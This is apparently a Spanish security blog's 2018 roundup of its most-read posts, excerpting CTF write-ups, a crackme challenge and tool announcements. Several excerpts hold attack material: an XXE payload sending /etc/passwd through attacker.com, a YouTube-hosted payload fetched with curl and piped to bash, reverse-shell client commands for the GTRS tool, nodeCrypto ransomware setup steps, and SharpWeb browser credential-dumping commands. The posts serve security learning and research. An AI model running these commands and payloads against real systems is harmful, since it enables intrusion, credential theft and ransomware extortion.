Lo más visto del 2018 en Hackplayers

No queremos perder tan arraigada tradición y vamos terminar el año en el blog como lo hemos hecho en los últimos: con el top 50 de las entradas más vistas según Google Analytics y un pequeño resumen de lo acontecido en el periodo.

Primero daros las gracias a todos los que estais ahí al otro lado del monitor, leyendo ya no sólo este blog si no también los locos timelines en Telegram, los hilos del foro, el muro de Facebook, los tweets de Twitter... gracias a todos los que habeis participado de una u otra forma en nuestra pequeña Comunidad pues, como digo siempre, juntos sumamos más.

2018 ha sido un año especial. En febrero celebramos nuestra primera conferencia, la bautizada como h-c0n, una experiencia increible y el cénit a meses previos de trabajo vocacional que sin duda merecieron la pena. Por eso en 2019 volveremos a repetir, siguiendo una línea continuista aunque añadiendo algunas pocas sorpresas que mejoren algunas facetas del evento y que esperamos os gusten.

2018 también ha sido el año que quizás más contribuciones ha recibido en blog, tanto esporádicas como de nuevos autores que se han unido al equipo, para mi algo que merece mención especial porque ayuda a mantener nuestro primer medio. Tampoco me olvido de la fiebre de las máquinas "boot2root" con el estudio de la certificación del OSCP y sobretodo con Hackthebox para el que creamos un repositorio en Github en el que ya han colaborado personas de más de 20 países distintos.

Y seguro que me dejo más de una y dos cosas a destacar, pero lo importante es que en 2019 volvamos a juntarnos para escuchar alguna charla, participar en talleres, jugar a CTFs y, cómo no, echar unas cervezas. Todo por difundir y compartir conocimientos de nuestra pasión por el hacking y la in-seguridad informática ;)

¡Feliz y próspero año nuevo!

Top 50 de entradas más visitadas en el año 2018

[HTB old-but-gold write-ups] Holiday

Buenos días a todos!! Hace tiempo que no había ninguna entrada de máquinas antiguas de HackTheBox así que, qué mejor máquina para estas fiestas que Holiday??



Durante el proceso aprenderemos a bypassear fitros XSS y de User-Agent, a llevar a cabo un ataque Stored XSS exitoso, abusar de privilegios NOPASSWD en sudo y a explotar configuraciones erróneas en NPM. Vamos con ello!

Descubren un backdoor oculto en el asistente por voz Alexa

Millones de usuarios de los altavoces Amazon Echo utilizan las capacidades de Alexa, el asistente virtual con voz humana que informa del tiempo, pide comida para llevar y maneja otras tareas básicas en respuesta a las órdenes de los usuarios. Ya han habido varias noticias sobre varios fallos de seguridad relacionados con el uso de estos dispositivos, como grabaciones sin permiso, filtrado de audios de terceros o compras involuntarias.

Pero hoy la noticia va más allá porque el investigador chino Gao Chen de la Universidad de Fudan en Shangái ha publicado lo que sería un backdoor o puerta trasera que permite habilitar funciones ocultas en estos dispositivos, incluyendo la identificación y el control de otros altavoces "inteligentes" de otros usuarios, lo que se considera un verdadero escándalo ya que la naturaleza intrínseca de esta tecnología podría ocultar una entramado para establecer una red de espionaje a gran escala, convirtiendo de forma indiscriminada a todos los sujetos potencialmente monitorizados.

Y no menos curioso es la forma de acceder a este menú de "super administrador": mediante un audio que simplemente al ser reproducido y escuchado por uno de estos altavoces hace al asistente Alexa revelar una serie de opciones que no dejan de ser sorprendentes y, nos atreveríamos a decir, escandalosas. Si dispones de un Amazon Echo te animamos a probar el audio y comprobarlo por ti mismo:

https://drive.google.com/file/d/1aMla5dOD6LkeKmrC0dr5RtpyM8BH3zAc/view?usp=sharing

Seguiremos atentos a esta noticia, a sus reacciones y repercusiones.

Esta entrada fue publicada el día 28 de Diciembre de 2018, Día de los Santos Inocentes. La noticia sobre el audio-backdoor para Alexa es una broma pero... ¿se descubrirá en un futuro algo oculto similar? El tiempo lo dirá ;)

Solución al reto 28: baby crackme

En el reto número 28 os proporcionábamos un crackme para poner a prueba vuestras habilidades de reversing y animaros a asistir al taller que impartirá @naivenom el próximo 8 de febrero en la h-c0n.
Como siempre vuestra respuesta ha sido genial y, en los pocos días que hemos tenido abierto el reto, hemos recibido la respuesta de tres acertantes a este reto que ya forman parte de nuestro eterno "hall of fame":

1. Mikel  
2. Backbone31
3. MRP314

Sin más no nos queda otra que agradeceros a todos los que habéis intentado resolver el reto y especialmente a los arriba listados, que además nos han remitido unos magníficos writeups. En este post os dejamos quizás el más completo, el de Mikel, aunque abajo encontraréis en PDF todos ellos.

1. Primer acercamiento e identificación del objetivo

Tras obtener el objetivo, se ve la extensión dms, la cual es una extensión extraña y de primeras hace pensar en la dmg de MacOS.


Tras una breve exploración, ese formato pertenece a la plataforma Amiga, pero se duda de que sea un programa de esa plataforma. Para identificar correctamente al objetivo, usamos el comando file, para obtener el tipo de archivo según su MagicNumber, y así focalizar mas y comprobar si la extensión corresponde:


Como vemos obtenemos que es un archivo ELF, de 64 bits, con lo que nos dispondremos a analizarlo un poco más en profundidad. Obtenemos los datos con la aplicación Readelf:


Confirmamos que es un programa ELF y de 64 bits.

[English] COR PROFILERS - Bypassing Windows security restrictions

First of all, even if I'm writing this post, I just gave some support, the most of the research and the creation of the DLLs are from my mate @V2ludDNy or how most of the people on "HTB Hispano" know: Wint3r

If any data is wrong, do not hesitate to write a comment or inform me!

To put us a little in context, one of the lastest machines in HackTheBox was a pain in the ass. A Windows machine with many restrictions but in general very "educational". The thing was that wint3r was really frustrated and wanted to do it without the intended tools... and we finally succeed.

Some months ago I wrote a post here in HackPlayers about Powershell restrictions (https://www.hackplayers.com/2018/11/powershell-is-dead-not-today-my-friend.html). Well, the way that Invisi-Shell loaded his DLL was really strange for us (https://github.com/OmerYa/Invisi-Shell).

Invisi-Shell's DLL comes with 2 bat files that set some enviroment variables ¿¿COR_PROFILER?? that somehow execute the DLL when the Powershell process is started. This was the start of the journey.


>>>>>>>>THEORY<<<<<<<<

To understand what we're going to show it's necessary to become familiar with some concepts. The first thing we need to know is what are Unmanaged code and Managed code and how they differ.

COR PROFILERS - Evadiendo medidas de seguridad en Windows

A las güenas!

Antes de nada, aunque yo escriba el post y haya estado dando algo de support, el grosso de la investigación así como la creación de las DLLs y demás lo ha hecho mi compi @V2ludDNy, o como muchos del grupo de Hack The Box conocereis, Wint3r (también conocido como Wintersito).

Por supuesto, quizás patine en algo de lo que cuente aquí, en ese caso se agradece cualquier tipo de corrección o mejora.

Para poner un poco en contexto, una de las últimas máquinas de Hack The Box es un auténtico grano en el culo. Una máquina llena de restricciones y protecciones que dejarían calvo hasta a un gato siberiano. El caso es que Wint3r se picó con la máquina y decidió que iba a sacarla sin las herramientas "intended"... y al final lo hemos conseguido.

¿Os acordáis del post sobre PowerShell que escribí hace poco aquí en HackPlayers? (https://www.hackplayers.com/2018/11/powershell-is-dead-not-today-my-friend.html) Bueno, pues Invisi-Shell nos llamo mucho la atención por cómo se ejecutaba (https://github.com/OmerYa/Invisi-Shell).

La DLL de Invisi-Shell viene con dos ficheros .bat que lo que hacen es establecer unas variables de entorno ¿COR? ¿PROFILER? y ejecutar PowerShell con ellas, lo que mágicamente ejecutaba la DLL. Aquí es donde empezó toda la investigación.


>>>>>>>>TEORIA<<<<<<<<

Para entender lo que vamos a enseñar en la demostración, es necesario familiarizarse con una serie de conceptos y teoría muy interesantes. En primer lugar debemos entender qué son y en qué se diferencian el "managed" code y el "unmanaged" code.

¡Feliz navidad!

require "base64"  
    
 text='ZmVsaXogbmF2aWRhZCBoYXgwcnMh'  
   
 class ChristmasTree  
  FIRST_LINE_LENGTH = 1  
  LEVEL_HEIGHT   = 3  
   
  def initialize(levels)  
   @levels       = levels.to_i < 1 ? 3 : levels.to_i  
   @last_line_length  = 5 + ((@levels - 1) * 2)  
   @current_line_length = FIRST_LINE_LENGTH  
  end  
   
  def draw_level  
   (1..LEVEL_HEIGHT).each do |line|  
    puts ("*" * @current_line_length).center(@last_line_length)  
    @current_line_length += 2 unless line == 3  
   end  
   @current_line_length = @current_line_length - 2  
  end  
   
  def draw_trunk  
   trunk_width = trunk_height = ((@last_line_length / 2) - 2).round  
   (1..trunk_height).each { puts ("|" * trunk_width).center(@last_line_length) }  
  end  
   
  def draw  
   (1..@levels).each { draw_level }  
   draw_trunk  
  end  
 end  
   
 ChristmasTree.new(ARGV.first).draw  
 puts Base64.decode64(text)  

Ho ho ho! 2013 2014 2015 2016 2017

nodeCrypto: un ransomware escrito en NodeJs

Han pasado casi tres años desde la aparición de Hidden Tear, el primer ransomware de código abierto (en C#), luego apareció native-tear, un clon escrito en C++, y un poco más tarde go-cry otro port escrito en Go. Sin embargo no abundan precisamente esta clase de proyectos "públicos". Por eso hoy os traemos también otro ransomware cuyo códugo podemos encontrar en Github: se trata de nodeCrypto: un ransomware escrito en NodeJs.

Para instalarlo simplemente tendremos que ejecutar lo siguiente:

git clone https://github.com/atmoner/nodeCrypto.git
cd nodeCrypto && npm install


Previamente debemos editar las variables de index.js. Una vez completado la configuración, podremos iniciar el ransomware:

node index.js

Los archivos en la raíz del servidor web se cifrarán y se enviarán al servidor.

Instalar el servidor:

- Subir todos los archivos de la carpeta /server en el servidor web.
- Crear una base de datos sql e importar sql/nodeCrypto.sql.
- Editar server/libs/db.php y agregar el ID de SQL.

To Do

Cliente (víctima)
 ✓ Cifrar el servidor web
 ✓ Usar clave privada para el cifrado
 - Adaptar SSL

Servidor
 ✓ Recuperar datos (usuario + archivo cifrado)
 - Formatear la base de datos
 - Hacer un GUI para el servidor web

 ✓ Hacer un ejecutable para descifrar los archivos (contacta con el autor)

 Proyecto: https://github.com/atmoner/nodeCrypto

Payloads maliciosos en descripciones de vídeo de Youtube

Gambler nos hablaba de un ejercicio de Red Team en el que la máquina infectada mediante un Rubber Ducky iba a comunicarse con el servidor C2 a través de Google Translator, es decir, mediante la herramienta GTRS de una forma más o menos segura para el atacante. Sin embargo, para bajarse el payload de GTRS la máquina de la víctima tendría que comunicarse directamente con el C2 y por lo tanto desvelar su ubicación o identidad.

Para evitarlo, Gambler planteaba usar Youtube para hostear el payload y ejecutarlo en bash. No es que sea la "panacea", pero al fin y al cabo si una técnica bastante ingeniosa. Simplemente hay que generar el payload en python, powershell o el lenguaje que sea y encodearlo en base64:

$ echo 'malo malisimo' | base64
bWFsbyBtYWxpc2ltbwo=

Luego añadir el payload en la descripción de un video pero, para hacernos la vida más fácil, se agrega una etiqueta al comienzo y al final: sCmD[YOUPAYLOAD]eCmD 



Finalmente, todo lo que necesitamos es ejecutar el siguiente comando desde el Rubber Ducky o donde sea:

$ curl -s https://www.youtube.com/watch?v=peeWtBRV3DU | sed -n 's/.*sCmD\(.*\)eCmD.*/\1/p' | base64 -D 
malo malisimo

También podemos usar un acortador de URLs como bit.ly y si además añadimos '| bash' al final... boom!

Fuente: Hosting malicious payloads on Youtube

Reto 28: baby crackme

Como muchos ya sabéis, Alvaro Macías aka @naivenom, confundador del blog de nuestros compis de fwhibbit.es, va a impartir el taller 'Reverse Engineering Insanity Protector' en la II edición de la h-c0n que tendrá lugar los próximos 8 y 9 de febrero.

En su taller los alumnos podrán adrentarse en las técnicas y procedimientos “insane” a la hora de realizar ingenieria inversa a la calculadora de Windows (calc.exe) por medio de un software que hace bypass al AV denominado Insanity Protector desarrollado por Germán Sánchez Garcés.

Como ya os dijimos el nivel será medio-avanzado por lo que los asistentes tendrán que tener un nivel mínimo de conocimientos de reversing. Y ¿cómo sabes si lo tienes? Pues @naivenom ha preparado un pequeño crackme para que te pruebes:

https://drive.google.com/open?id=1kXmdZCulVOkKHZf6xYMcKRFwePZyUdsq

- Los writeups deben enviarse como siempre a nuestra cuenta de correo hackplayers_at_ymail.com (_at_ es una "@" e ymail con "y" griega).
- Los 5 primeros en superar el reto y enviarnos el writeup con el procedimiento correcto entrarán también en nuestro eterno hall de la fama.
- El mejor writeup recibido será publicado en el blog con la atribución y referencias a su autor correspondientes.

Podéis comentar cualquier duda (no spoilers) sobre el reto comentanto este post o a través de nuestras RR.SS.

Am, y otra cosa! Todos los que se apunten al taller de Álvaro recibirán además a la cuenta de correo con la que se hayan registrado otro crackme, eso sí algo más complicado que el del presente reto ;), y todos los que lo superen recibirán como obsequio una exclusiva taza de recuerdo que se hará entrega presencialmente durante el taller.

Así que... go, go, go reversers!

GTRS: Google Translator Reverse Shell

Matheus Bernardes ha publicado una curiosa herramienta escrita principalmente en Go que utiliza Google Translator como un proxy para enviar comandos arbitrarios a una máquina infectada.
Para probarlo simplemente necesitaremos un VPS con un dominio que hará las veces de C2.
Ejecutamos el script del servidor:

python2.7 server.py
Server running on port: 80
Secret Key: e294a11e-bb6f-49ed-b03a-9ec42be55062

Como veis, el resultado de la ejecución del script nos dará una clave secreta que deberemos usar en el cliente. Este cliente podremos encontrarlo en Go o en Bash:

Cliente bash

Ejecutamos el cliente en un equipo con acceso a Google Translator, proporcionando el dominio y la clave secreta generada por el servidor.

bash client.sh www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062

Ahora tenemos una shell interactiva que usa "named pipes" y, si, podemos hacer cd en los directorios.

Cliente Go

Primero debemos descargar el archivo binario o compilarlo, luego el proceso es igual al del cliente bash:

./client_Linux www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062

Con este cliente tenemos la posibilidad de ejecutarlo en Linux, Mac y Windows, pero el cliente todavía no tiene una shell interactiva.

PoC


Proyecto: https://github.com/mthbernardes/GTRS

Explotando XXE con archivos DTD locales

Arseniy Sharoglazov ha ideado una técnica para explotar XXE mediante archivos DTD locales.
Imaginemos que tenemos un XXE. Se soportan External entities pero la respuesta del servidor está siempre vacía. En este caso tenemos dos opciones: explotación basada en error o out-of-band. 

Veamos un ejemplo basado en error:

 Petición
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
    %ext;
]>
<message></message>

Respuesta
java.io.FileNotFoundException: /nonexistent/
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin

(No such file or directory)

Contenidos de ext.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Como veis estamos utilizando un servidor externo para la entrega del payload.

¿Qué podemos hacer si hay un firewall entre nosotros y el servidor de destino? ¡Nada! Pero, ¿qué pasa si simplemente colocamos el contenido del DTD externo directamente en el DOCTYPE?

SharpWeb: un proyecto en .NET 2.0 para obtener las contraseñas guardadas en Google Chrome, Mozilla Firefox y Microsoft Internet Explorer/Edge

SharpWeb es una herramienta escrita por Dwight Hohnstein compatible con .NET 2.0 CLR que puede recuperar logins guardados de Google Chrome, Firefox, Internet Explorer y Microsoft Edge.

Este proyecto utiliza un parser de SQLite compatible con .NET 2.0 CLR de @plainprogrammer y un parser de ASN y helper de criptografía de @gourk para descifrar y analizar los archivos de login de FireFox.

En el futuro, este proyecto se ampliará para recuperar elementos de Cookies e Historial de estos navegadores.

Usage:

    .\SharpWeb.exe arg0 [arg1 arg2 ...]

Arguments:
    all       - Retrieve all Chrome, FireFox and IE/Edge credentials.
    full      - The same as 'all'
    chrome    - Fetch saved Chrome logins.
    firefox   - Fetch saved FireFox logins.
    edge      - Fetch saved Internet Explorer/Microsoft Edge logins.

Ejemplo: Obtención de credenciales de todos los navegadores

.\SharpWeb.exe all

Ejemplo: Obtención de credenciales de Edge y Firefox

.\SharpWeb.exe edge firefox


Proyecto: https://github.com/djhohnstein/SharpWeb

De una condición de carrera + LFI en phpinfo() a RCE

El indonesio Agus Setya R publicó una interesante técnica mediante la cual conseguía un RCE explotando una condición de carrera en phpinfo() en conjunción con un LFI.

¿Por qué puede ser peligrosa una simple página phpinfo()? Además de contener información muy sensible del servidor, resulta que phpinfo también puede manejar peticiones http como POST, GET, FILES y otros. Si enviamos una petición FILES a phpinfo, la petición se guardará en un archivo temporal durante un periodo de tiempo muy corto.

Gynvael Coldwind escribió un impresionante artículo sobre una Condición de Carrera que puede ser explotada usando la función de Subida de Archivos en PHP. Por cierto, php 5.5.9 es vulnerable a este problema.

Si cargamos un archivo, los datos se almacenan en un archivo temporal. Es decir, podemos insertar un archivo y luego llamar al archivo utilizando una vulnerabilidad del tipo LFI (Inclusión de archivos locales). Sin embargo, este proceso debe realizarse en un tiempo muy, muy rápido, antes de que el sistema elimine automáticamente el archivo temporal.
Archivo temporal creado como resultado de subir en phpinfo.

El escenario de ataque necesita por tanto multihilo para que el proceso llevado a cabo por el script del exploit pueda ser muy rápido. Lo que se hace es crear archivos temporales los cuales seguramente no se acumularán en el servidor porque en segundos desaparecerán rápidamente. En el proceso, se realiza una petición utilizando el LFI. Si de uno de los archivos temporales se llama con éxito entonces basta con que sea nuestro payload para obtener la preciada shell.

Writeup: http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/
Exploit Code: https://gist.githubusercontent.com/intrd/35483ae252c66ee3d11f7acfa7379749/raw/76488b0d95a9fd7e5a2bd3c8bbc929a45590238f/phpinfo_exploit.py
Fuente: https://medium.com/@agussetyar/local-file-inclusion-via-phpinfo-exploit-race-condition-to-remote-code-execution-6d5470445afe

BoNeSi: simular una botnet para pruebas DDoS

BoNeSi es una herramienta para simular el tráfico de una Botnet con el objetivo de estudiar el efecto de los ataques DDoS.

¿Qué tráfico puede generar? Pues BoNeSi genera ataques de flooding ICMP, UDP y TCP (HTTP) simulando ser una botnet de un tamaño definido (diferentes direcciones IP). BoNeSi es altamente configurable y se pueden configurar distintos ratios, volumen de datos, direcciones IP de origen, URL y otros parámetros.

¿Qué lo hace diferente de otras herramientas? Existen muchas otras herramientas para falsificar direcciones IP con UDP e ICMP, pero para TCP no existe una solución. BoNeSi es la primera herramienta para simular floods HTTP-GET de redes de bots a gran escala. BoNeSi también trata de evitar generar paquetes con patrones fáciles de identificar (que se pueden filtrar fácilmente).

¿Dónde se puede ejecutar BoNeSi? Hasta su autor, Markus Goldstein, recomienda encarecidamente ejecutar BoNeSi en un entorno de prueba cerrado. Sin embargo, los ataques UDP e ICMP también pueden ejecutarse en Internet, pero se debe tener cuidado. Los ataques HTTP-Flooding no se pueden simular en Internet, porque las respuestas del servidor web deben enrutarse al host que ejecuta BoNeSi.

¿Cómo funciona TCP Spoofing? BoNeSi busca paquetes TCP en la interfaz de red y responde a todos los paquetes para establecer conexiones TCP. Para esta función, es necesario que todo el tráfico del servidor web de destino se enrute de nuevo al host que ejecuta BoNeSi

¿Qué tan bueno es el rendimiento de BoNeSi? Se centran mucho en el rendimiento para simular grandes botnets. En un AMD Opteron con 2Ghz pudieron generar hasta 150.000 paquetes por segundo. En un AMD Phenom II X6 1100T más reciente con 3,3 Ghz, puede generar 300.000 pps (que se ejecutan en 2 cores).

¿Son exitosos los ataques BoNeSi? Sí, son muy exitosos. Los ataques UDP/ICMP pueden saturar fácilmente el ancho de banda y los ataques HTTP-Flooding tiran rápidamente los servidores web. También probaron BoNeSi contra sistemas de mitigación DDoS comerciales de última generación y pudieron bloquearlos u ocultar el ataque para que no fuera detectado.

[HTB-writeup] Hawk

En este post haremos la máquina Hawk de HackTheBox. Es una maquina Linux de nivel medio. Mi nick en HackTheBox es: manulqwerty. Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.

Enumeración

Como siempre, lo primero sera un escaneo puertos con nmap:

nmap 10.10.10.102


Antes de nada vamos a echarle un ojo a la web:


Es un drupal, antes de seguir indagando en esto vamos a revisar otros servicios.